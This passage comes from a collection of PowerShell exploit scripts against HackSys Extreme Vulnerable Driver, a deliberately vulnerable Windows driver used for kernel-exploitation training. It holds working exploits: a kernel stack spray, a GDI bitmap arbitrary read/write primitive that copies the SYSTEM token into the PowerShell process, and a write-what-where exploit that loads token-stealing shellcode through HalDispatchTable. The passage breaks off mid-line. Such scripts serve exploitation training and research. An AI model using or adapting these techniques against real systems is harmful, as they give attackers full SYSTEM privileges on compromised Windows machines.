83 | } 84 | 85 | # j00ru -> Kernel stack spray 86 | $KernelStackSpray = [System.BitConverter]::GetBytes($Pointer.ToInt32()) * 1024 87 | echo "`n[>] Kernel stack spray.." 88 | echo "[+] Spray buffer: $(1024*[IntPtr]::Size)" 89 | echo "[+] Payload size: $([IntPtr]::Size)`n" 90 | 91 | echo "[>] Call NtMapUserPhysicalPages & trigger bug.." 92 | echo "[+] Radio silence..`n" 93 | [EVD]::NtMapUserPhysicalPages([IntPtr]::Zero, 1024, $KernelStackSpray) |Out-Null 94 | 95 | # Trigger uninit stack variable 96 | $Buffer = [System.BitConverter]::GetBytes(0xdeadb33f) 97 | [EVD]::DeviceIoControl($hDevice, 0x22202F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null -------------------------------------------------------------------------------- /Kernel_WWW_GDI_32-64.ps1: -------------------------------------------------------------------------------- 1 | Add-Type -TypeDefinition @" 2 | using System; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | using System.Security.Principal; 6 | 7 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 8 | public struct SYSTEM_MODULE_INFORMATION 9 | { 10 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] 11 | public UIntPtr[] Reserved; 12 | public IntPtr ImageBase; 13 | public UInt32 ImageSize; 14 | public UInt32 Flags; 15 | public UInt16 LoadOrderIndex; 16 | public UInt16 InitOrderIndex; 17 | public UInt16 LoadCount; 18 | public UInt16 ModuleNameOffset; 19 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)] 20 | internal Char[] _ImageName; 21 | public String ImageName { 22 | get { 23 | return new String(_ImageName).Split(new Char[] {'\0'}, 2)[0]; 24 | } 25 | } 26 | } 27 | 28 | [StructLayout(LayoutKind.Sequential)] 29 | public struct _PROCESS_BASIC_INFORMATION 30 | { 31 | public IntPtr ExitStatus; 32 | public IntPtr PebBaseAddress; 33 | public IntPtr AffinityMask; 34 | public IntPtr BasePriority; 35 | public UIntPtr UniqueProcessId; 36 | public IntPtr InheritedFromUniqueProcessId; 37 | } 38 | 39 | /// Partial _PEB 40 | [StructLayout(LayoutKind.Explicit, Size = 256)] 41 | public struct _PEB 42 | { 43 | [FieldOffset(148)] 44 | public IntPtr GdiSharedHandleTable32; 45 | [FieldOffset(248)] 46 | public IntPtr GdiSharedHandleTable64; 47 | } 48 | 49 | [StructLayout(LayoutKind.Sequential)] 50 | public struct _GDI_CELL 51 | { 52 | public IntPtr pKernelAddress; 53 | public UInt16 wProcessId; 54 | public UInt16 wCount; 55 | public UInt16 wUpper; 56 | public UInt16 wType; 57 | public IntPtr pUserAddress; 58 | } 59 | 60 | public static class EVD 61 | { 62 | 63 | [DllImport("ntdll.dll")] 64 | public static extern int NtQueryInformationProcess( 65 | IntPtr processHandle, 66 | int processInformationClass, 67 | ref _PROCESS_BASIC_INFORMATION processInformation, 68 | int processInformationLength, 69 | ref int returnLength); 70 | 71 | [DllImport("ntdll.dll")] 72 | public static extern int NtQuerySystemInformation( 73 | int SystemInformationClass, 74 | IntPtr SystemInformation, 75 | int SystemInformationLength, 76 | ref int ReturnLength); 77 | 78 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 79 | public static extern IntPtr CreateFile( 80 | String lpFileName, 81 | UInt32 dwDesiredAccess, 82 | UInt32 dwShareMode, 83 | IntPtr lpSecurityAttributes, 84 | UInt32 dwCreationDisposition, 85 | UInt32 dwFlagsAndAttributes, 86 | IntPtr hTemplateFile); 87 | 88 | [DllImport("Kernel32.dll", SetLastError = true)] 89 | public static extern bool DeviceIoControl( 90 | IntPtr hDevice, 91 | int IoControlCode, 92 | byte[] InBuffer, 93 | int nInBufferSize, 94 | byte[] OutBuffer, 95 | int nOutBufferSize, 96 | ref int pBytesReturned, 97 | IntPtr Overlapped); 98 | 99 | [DllImport("kernel32.dll", SetLastError = true)] 100 | public static extern IntPtr VirtualAlloc( 101 | IntPtr lpAddress, 102 | uint dwSize, 103 | UInt32 flAllocationType, 104 | UInt32 flProtect); 105 | 106 | [DllImport("kernel32.dll", SetLastError=true)] 107 | public static extern bool VirtualFree( 108 | IntPtr lpAddress, 109 | uint dwSize, 110 | uint dwFreeType); 111 | 112 | [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)] 113 | public static extern IntPtr LoadLibrary( 114 | string lpFileName); 115 | 116 | [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)] 117 | public static extern IntPtr GetProcAddress( 118 | IntPtr hModule, 119 | string procName); 120 | 121 | [DllImport("kernel32.dll", SetLastError=true)] 122 | public static extern bool FreeLibrary( 123 | IntPtr hModule); 124 | 125 | [DllImport("gdi32.dll")] 126 | public static extern IntPtr CreateBitmap( 127 | int nWidth, 128 | int nHeight, 129 | uint cPlanes, 130 | uint cBitsPerPel, 131 | IntPtr lpvBits); 132 | 133 | [DllImport("gdi32.dll")] 134 | public static extern int SetBitmapBits( 135 | IntPtr hbmp, 136 | uint cBytes, 137 | byte[] lpBits); 138 | 139 | [DllImport("gdi32.dll")] 140 | public static extern int GetBitmapBits( 141 | IntPtr hbmp, 142 | int cbBuffer, 143 | IntPtr lpvBits); 144 | } 145 | "@ 146 | 147 | #==============================================[PEB] 148 | 149 | # Flag architecture $x32Architecture/!$x32Architecture 150 | if ([System.IntPtr]::Size -eq 4) { 151 | echo "`n[>] Target is 32-bit!" 152 | $x32Architecture = 1 153 | } else { 154 | echo "`n[>] Target is 64-bit!" 155 | } 156 | # Current Proc handle 157 | $ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle 158 | # Process Basic Information 159 | $PROCESS_BASIC_INFORMATION = New-Object _PROCESS_BASIC_INFORMATION 160 | $PROCESS_BASIC_INFORMATION_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($PROCESS_BASIC_INFORMATION) 161 | $returnLength = New-Object Int 162 | $CallResult = [EVD]::NtQueryInformationProcess($ProcHandle, 0, [ref]$PROCESS_BASIC_INFORMATION, $PROCESS_BASIC_INFORMATION_Size, [ref]$returnLength) 163 | # PID & PEB address 164 | echo "`n[?] PID $($PROCESS_BASIC_INFORMATION.UniqueProcessId)" 165 | if ($x32Architecture) { 166 | echo "[+] PebBaseAddress: 0x$("{0:X8}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt32())" 167 | } else { 168 | echo "[+] PebBaseAddress: 0x$("{0:X16}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64())" 169 | } 170 | # Lazy PEB parsing 171 | $_PEB = New-Object _PEB 172 | $_PEB = $_PEB.GetType() 173 | $BufferOffset = $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64() 174 | $NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset 175 | $PEBFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_PEB) 176 | # GdiSharedHandleTable 177 | if ($x32Architecture) { 178 | echo "[+] GdiSharedHandleTable: 0x$("{0:X8}" -f $PEBFlags.GdiSharedHandleTable32.ToInt32())" 179 | } else { 180 | echo "[+] GdiSharedHandleTable: 0x$("{0:X16}" -f $PEBFlags.GdiSharedHandleTable64.ToInt64())" 181 | } 182 | # _GDI_CELL size 183 | $_GDI_CELL = New-Object _GDI_CELL 184 | $_GDI_CELL_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($_GDI_CELL) 185 | 186 | #==============================================[/PEB] 187 | 188 | #==============================================[Bitmap] 189 | 190 | echo "`n[>] Creating Bitmaps.." 191 | 192 | # Manager Bitmap 193 | [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4) 194 | $ManagerBitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer) 195 | echo "[+] Manager BitMap handle: 0x$("{0:X}" -f [int]$ManagerBitmap)" 196 | if ($x32Architecture) { 197 | $HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size) 198 | echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)" 199 | $ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry) 200 | echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))" 201 | $ManagerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30 202 | echo "[+] Manager pvScan0 pointer: 0x$("{0:X8}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30))" 203 | } else { 204 | $HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size) 205 | echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)" 206 | $ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry) 207 | echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))" 208 | $ManagerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50 209 | echo "[+] Manager pvScan0 pointer: 0x$("{0:X16}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50))" 210 | } 211 | 212 | # Worker Bitmap 213 | [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4) 214 | $WorkerBitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer) 215 | echo "[+] Worker BitMap handle: 0x$("{0:X}" -f [int]$WorkerBitmap)" 216 | if ($x32Architecture) { 217 | $HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size) 218 | echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)" 219 | $WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry) 220 | echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))" 221 | $WorkerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30 222 | echo "[+] Worker pvScan0 pointer: 0x$("{0:X8}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30))" 223 | } else { 224 | $HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size) 225 | echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)" 226 | $WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry) 227 | echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))" 228 | $WorkerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50 229 | echo "[+] Worker pvScan0 pointer: 0x$("{0:X16}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50))" 230 | } 231 | 232 | #==============================================[/Bitmap] 233 | 234 | #==============================================[GDI ring0 primitive] 235 | 236 | $hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero) 237 | 238 | if ($hDevice -eq -1) { 239 | echo "`n[!] Unable to get driver handle..`n" 240 | Return 241 | } else { 242 | echo "`n[>] Driver information.." 243 | echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver" 244 | echo "[+] Handle: $hDevice" 245 | } 246 | 247 | # [IntPtr]$WriteWhatPtr->$WriteWhat + $WriteWhere 248 | #--- 249 | [IntPtr]$WriteWhatPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.BitConverter]::GetBytes($WorkerpvScan0).Length) 250 | [System.Runtime.InteropServices.Marshal]::Copy([System.BitConverter]::GetBytes($WorkerpvScan0), 0, $WriteWhatPtr, [System.BitConverter]::GetBytes($WorkerpvScan0).Length) 251 | if ($x32Architecture) { 252 | [byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt32()) + [System.BitConverter]::GetBytes($ManagerpvScan0) 253 | } else { 254 | [byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt64()) + [System.BitConverter]::GetBytes($ManagerpvScan0) 255 | } 256 | echo "`n[>] Sending buffer.." 257 | echo "[+] Buffer length: $($Buffer.Length)" 258 | echo "[+] IOCTL: 0x22200B" 259 | [EVD]::DeviceIoControl($hDevice, 0x22200B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null 260 | 261 | #==============================================[/GDI ring0 primitive] 262 | 263 | #==============================================[Leak loaded module base addresses] 264 | 265 | [int]$BuffPtr_Size = 0 266 | while ($true) { 267 | [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size) 268 | $SystemInformationLength = New-Object Int 269 | 270 | # SystemModuleInformation Class = 11 271 | $CallResult = [EVD]::NtQuerySystemInformation(11, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength) 272 | 273 | # STATUS_INFO_LENGTH_MISMATCH 274 | if ($CallResult -eq 0xC0000004) { 275 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) 276 | [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength) 277 | } 278 | # STATUS_SUCCESS 279 | elseif ($CallResult -eq 0x00000000) { 280 | break 281 | } 282 | # Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION 283 | else { 284 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) 285 | echo "[!] Error, NTSTATUS Value: $('{0:X}' -f ($CallResult))`n" 286 | return 287 | } 288 | } 289 | 290 | $SYSTEM_MODULE_INFORMATION = New-Object SYSTEM_MODULE_INFORMATION 291 | $SYSTEM_MODULE_INFORMATION = $SYSTEM_MODULE_INFORMATION.GetType() 292 | if ([System.IntPtr]::Size -eq 4) { 293 | $SYSTEM_MODULE_INFORMATION_Size = 284 294 | } else { 295 | $SYSTEM_MODULE_INFORMATION_Size = 296 296 | } 297 | 298 | $BuffOffset = $BuffPtr.ToInt64() 299 | $HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) 300 | $BuffOffset = $BuffOffset + [System.IntPtr]::Size 301 | 302 | $SystemModuleArray = @() 303 | for ($i=0; $i -lt $HandleCount; $i++){ 304 | $SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset 305 | $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_MODULE_INFORMATION) 306 | 307 | $HashTable = @{ 308 | ImageName = $Cast.ImageName 309 | ImageBase = if ([System.IntPtr]::Size -eq 4) {$($Cast.ImageBase).ToInt32()} else {$($Cast.ImageBase).ToInt64()} 310 | ImageSize = "0x$('{0:X}' -f $Cast.ImageSize)" 311 | } 312 | 313 | $Object = New-Object PSObject -Property $HashTable 314 | $SystemModuleArray += $Object 315 | 316 | $BuffOffset = $BuffOffset + $SYSTEM_MODULE_INFORMATION_Size 317 | } 318 | 319 | # Free SystemModuleInformation array 320 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) 321 | 322 | #==============================================[/Leak loaded module base addresses] 323 | 324 | #==============================================[Duplicate SYSTEM token] 325 | 326 | # _EPROCESS UniqueProcessId/Token/ActiveProcessLinks offsets based on OS 327 | # WARNING offsets are invalid for Pre-RTM images! 328 | $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version 329 | $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)" 330 | switch ($OSMajorMinor) 331 | { 332 | '10.0' # Win10 / 2k16 333 | { 334 | if(!$x32Architecture){ 335 | $UniqueProcessIdOffset = 0x2e8 336 | $TokenOffset = 0x358 337 | $ActiveProcessLinks = 0x2f0 338 | } else { 339 | $UniqueProcessIdOffset = 0xb4 340 | $TokenOffset = 0xf4 341 | $ActiveProcessLinks = 0xb8 342 | } 343 | } 344 | 345 | '6.3' # Win8.1 / 2k12R2 346 | { 347 | if(!$x32Architecture){ 348 | $UniqueProcessIdOffset = 0x2e0 349 | $TokenOffset = 0x348 350 | $ActiveProcessLinks = 0x2e8 351 | } else { 352 | $UniqueProcessIdOffset = 0xb4 353 | $TokenOffset = 0xec 354 | $ActiveProcessLinks = 0xb8 355 | } 356 | } 357 | 358 | '6.2' # Win8 / 2k12 359 | { 360 | if(!$x32Architecture){ 361 | $UniqueProcessIdOffset = 0x2e0 362 | $TokenOffset = 0x348 363 | $ActiveProcessLinks = 0x2e8 364 | } else { 365 | $UniqueProcessIdOffset = 0xb4 366 | $TokenOffset = 0xec 367 | $ActiveProcessLinks = 0xb8 368 | } 369 | } 370 | 371 | '6.1' # Win7 / 2k8R2 372 | { 373 | if(!$x32Architecture){ 374 | $UniqueProcessIdOffset = 0x180 375 | $TokenOffset = 0x208 376 | $ActiveProcessLinks = 0x188 377 | } else { 378 | $UniqueProcessIdOffset = 0xb4 379 | $TokenOffset = 0xf8 380 | $ActiveProcessLinks = 0xb8 381 | } 382 | } 383 | } 384 | 385 | # Arbitrary Kernel read 386 | function Bitmap-Read { 387 | param ($Address) 388 | $CallResult = [EVD]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address)) 389 | [IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, [System.IntPtr]::Size, 0x3000, 0x40) 390 | $CallResult = [EVD]::GetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, $Pointer) 391 | if ($x32Architecture){ 392 | [System.Runtime.InteropServices.Marshal]::ReadInt32($Pointer) 393 | } else { 394 | [System.Runtime.InteropServices.Marshal]::ReadInt64($Pointer) 395 | } 396 | $CallResult = [EVD]::VirtualFree($Pointer, [System.IntPtr]::Size, 0x8000) 397 | } 398 | 399 | # Arbitrary Kernel write 400 | function Bitmap-Write { 401 | param ($Address, $Value) 402 | $CallResult = [EVD]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address)) 403 | $CallResult = [EVD]::SetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Value)) 404 | } 405 | 406 | # Get EPROCESS entry for System process 407 | echo "`n[>] Leaking SYSTEM _EPROCESS.." 408 | $KernelBase = $SystemModuleArray[0].ImageBase 409 | $KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1] 410 | $KernelHanle = [EVD]::LoadLibrary("$KernelType") 411 | $PsInitialSystemProcess = [EVD]::GetProcAddress($KernelHanle, "PsInitialSystemProcess") 412 | $SysEprocessPtr = if (!$x32Architecture) {$PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase} else {$PsInitialSystemProcess.ToInt32() - $KernelHanle + $KernelBase} 413 | $CallResult = [EVD]::FreeLibrary($KernelHanle) 414 | echo "[+] _EPORCESS list entry: 0x$("{0:X}" -f $SysEprocessPtr)" 415 | $SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr 416 | echo "[+] SYSTEM _EPORCESS address: 0x$("{0:X}" -f $(Bitmap-Read -Address $SysEprocessPtr))" 417 | echo "[+] PID: $(Bitmap-Read -Address $($SysEPROCESS+$UniqueProcessIdOffset))" 418 | echo "[+] SYSTEM Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)))" 419 | $SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset) 420 | 421 | # Get EPROCESS entry for current process 422 | echo "`n[>] Leaking current _EPROCESS.." 423 | echo "[+] Traversing ActiveProcessLinks list" 424 | $NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size 425 | while($true) { 426 | $NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset) 427 | if ($NextPID -eq $PID) { 428 | echo "[+] PowerShell _EPORCESS address: 0x$("{0:X}" -f $NextProcess)" 429 | echo "[+] PID: $NextPID" 430 | echo "[+] PowerShell Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))" 431 | $PoShTokenAddr = $NextProcess+$TokenOffset 432 | break 433 | } 434 | $NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size 435 | } 436 | 437 | # Duplicate token! 438 | echo "`n[!] Duplicating SYSTEM token!`n" 439 | Bitmap-Write -Address $PoShTokenAddr -Value $SysToken 440 | 441 | #==============================================[/Duplicate SYSTEM token] -------------------------------------------------------------------------------- /Kernel_WriteWhatWhere.ps1: -------------------------------------------------------------------------------- 1 | Add-Type -TypeDefinition @" 2 | using System; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | using System.Security.Principal; 6 | 7 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 8 | public struct SYSTEM_MODULE_INFORMATION 9 | { 10 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] 11 | public UIntPtr[] Reserved; 12 | public IntPtr ImageBase; 13 | public UInt32 ImageSize; 14 | public UInt32 Flags; 15 | public UInt16 LoadOrderIndex; 16 | public UInt16 InitOrderIndex; 17 | public UInt16 LoadCount; 18 | public UInt16 ModuleNameOffset; 19 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)] 20 | internal Char[] _ImageName; 21 | public String ImageName { 22 | get { 23 | return new String(_ImageName).Split(new Char[] {'\0'}, 2)[0]; 24 | } 25 | } 26 | } 27 | 28 | public static class EVD 29 | { 30 | [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)] 31 | public static extern IntPtr LoadLibrary( 32 | string lpFileName); 33 | 34 | [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)] 35 | public static extern IntPtr GetProcAddress( 36 | IntPtr hModule, 37 | string procName); 38 | 39 | [DllImport("kernel32.dll", SetLastError = true)] 40 | public static extern IntPtr VirtualAlloc( 41 | IntPtr lpAddress, 42 | uint dwSize, 43 | UInt32 flAllocationType, 44 | UInt32 flProtect); 45 | 46 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 47 | public static extern IntPtr CreateFile( 48 | String lpFileName, 49 | UInt32 dwDesiredAccess, 50 | UInt32 dwShareMode, 51 | IntPtr lpSecurityAttributes, 52 | UInt32 dwCreationDisposition, 53 | UInt32 dwFlagsAndAttributes, 54 | IntPtr hTemplateFile); 55 | 56 | [DllImport("Kernel32.dll", SetLastError = true)] 57 | public static extern bool DeviceIoControl( 58 | IntPtr hDevice, 59 | int IoControlCode, 60 | byte[] InBuffer, 61 | int nInBufferSize, 62 | byte[] OutBuffer, 63 | int nOutBufferSize, 64 | ref int pBytesReturned, 65 | IntPtr Overlapped); 66 | 67 | [DllImport("ntdll.dll")] 68 | public static extern int NtQuerySystemInformation( 69 | int SystemInformationClass, 70 | IntPtr SystemInformation, 71 | int SystemInformationLength, 72 | ref int ReturnLength); 73 | 74 | [DllImport("ntdll.dll")] 75 | public static extern uint NtQueryIntervalProfile( 76 | UInt32 ProfileSource, 77 | ref UInt32 Interval); 78 | 79 | [DllImport("kernel32.dll")] 80 | public static extern uint GetLastError(); 81 | } 82 | "@ 83 | 84 | # Call NtQuerySystemInformation->SystemModuleInformation 85 | # & Alloc buffer for the result 86 | [int]$BuffPtr_Size = 0 87 | while ($true) { 88 | [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size) 89 | $SystemInformationLength = New-Object Int 90 | # SystemModuleInformation Class = 11 91 | $CallResult = [EVD]::NtQuerySystemInformation(11, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength) 92 | 93 | # STATUS_INFO_LENGTH_MISMATCH 94 | if ($CallResult -eq 0xC0000004) { 95 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) 96 | [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength) 97 | } 98 | # STATUS_SUCCESS 99 | elseif ($CallResult -eq 0x00000000) { 100 | break 101 | } 102 | # Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION 103 | else { 104 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) 105 | echo "[!] Error, NTSTATUS Value: $('{0:X}' -f ($CallResult))`n" 106 | return 107 | } 108 | } 109 | 110 | # Create SystemModuleInformation struct 111 | $SYSTEM_MODULE_INFORMATION = New-Object SYSTEM_MODULE_INFORMATION 112 | $SYSTEM_MODULE_INFORMATION = $SYSTEM_MODULE_INFORMATION.GetType() 113 | if ([System.IntPtr]::Size -eq 4) { 114 | $SYSTEM_MODULE_INFORMATION_Size = 284 115 | } else { 116 | $SYSTEM_MODULE_INFORMATION_Size = 296 117 | } 118 | 119 | # Read SystemModuleInformation array count 120 | # & increment offset IntPtr size 121 | $BuffOffset = $BuffPtr.ToInt64() 122 | $HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) 123 | $BuffOffset = $BuffOffset + [System.IntPtr]::Size 124 | 125 | # Loop SystemModuleInformation array 126 | # & store output in $SystemModuleArray 127 | $SystemModuleArray = @() 128 | for ($i=0; $i -lt $HandleCount; $i++){ 129 | $SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset 130 | $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_MODULE_INFORMATION) 131 | 132 | $HashTable = @{ 133 | ImageName = $Cast.ImageName 134 | ImageBase = if ([System.IntPtr]::Size -eq 4) {$($Cast.ImageBase).ToInt32()} else {$($Cast.ImageBase).ToInt64()} 135 | ImageSize = "0x$('{0:X}' -f $Cast.ImageSize)" 136 | } 137 | 138 | $Object = New-Object PSObject -Property $HashTable 139 | $SystemModuleArray += $Object 140 | 141 | $BuffOffset = $BuffOffset + $SYSTEM_MODULE_INFORMATION_Size 142 | } 143 | 144 | # Free SystemModuleInformation array 145 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) 146 | 147 | # Get pointer to nt!HalDispatchTable 148 | echo "`n[>] Leaking HalDispatchTable pointer.." 149 | $KernelBase = $SystemModuleArray[0].ImageBase 150 | $KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1] 151 | $KernelHanle = [EVD]::LoadLibrary("$KernelType") 152 | $HALUserLand = [EVD]::GetProcAddress($KernelHanle, "HalDispatchTable") 153 | $HalDispatchTable = $HALUserLand.ToInt32() - $KernelHanle + $KernelBase 154 | $WriteWhere = [System.BitConverter]::GetBytes($HalDispatchTable+4) 155 | echo "[+] Kernel Base: 0x$('{0:X}' -f $KernelBase)" 156 | echo "[+] HalDispatchTable: 0x$('{0:X}' -f $HalDispatchTable)" 157 | 158 | # Compiled with Keystone-Engine 159 | # Hardcoded offsets for Win7 x86 SP1 160 | $Shellcode = [Byte[]] @( 161 | #---[Setup] 162 | 0x60, # pushad 163 | 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET] 164 | 0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET] 165 | 0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure) 166 | 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET] 167 | #---[Copy System PID token] 168 | 0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID) 169 | 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-| 170 | 0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET | 171 | 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx | 172 | 0x75, 0xED, # jnz ->| 173 | 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET] 174 | 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx 175 | #---[Recover] 176 | 0x61, # popad 177 | 0xC3 # ret 178 | ) 179 | 180 | # Write shellcode to memory 181 | echo "`n[>] Allocating ring0 payload.." 182 | [IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40) 183 | [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length) 184 | $WriteWhat = [System.BitConverter]::GetBytes($Pointer.ToInt32()) 185 | echo "[+] Payload size: $($Shellcode.Length)" 186 | echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())" 187 | 188 | # Get handle to driver 189 | $hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero) 190 | 191 | if ($hDevice -eq -1) { 192 | echo "`n[!] Unable to get driver 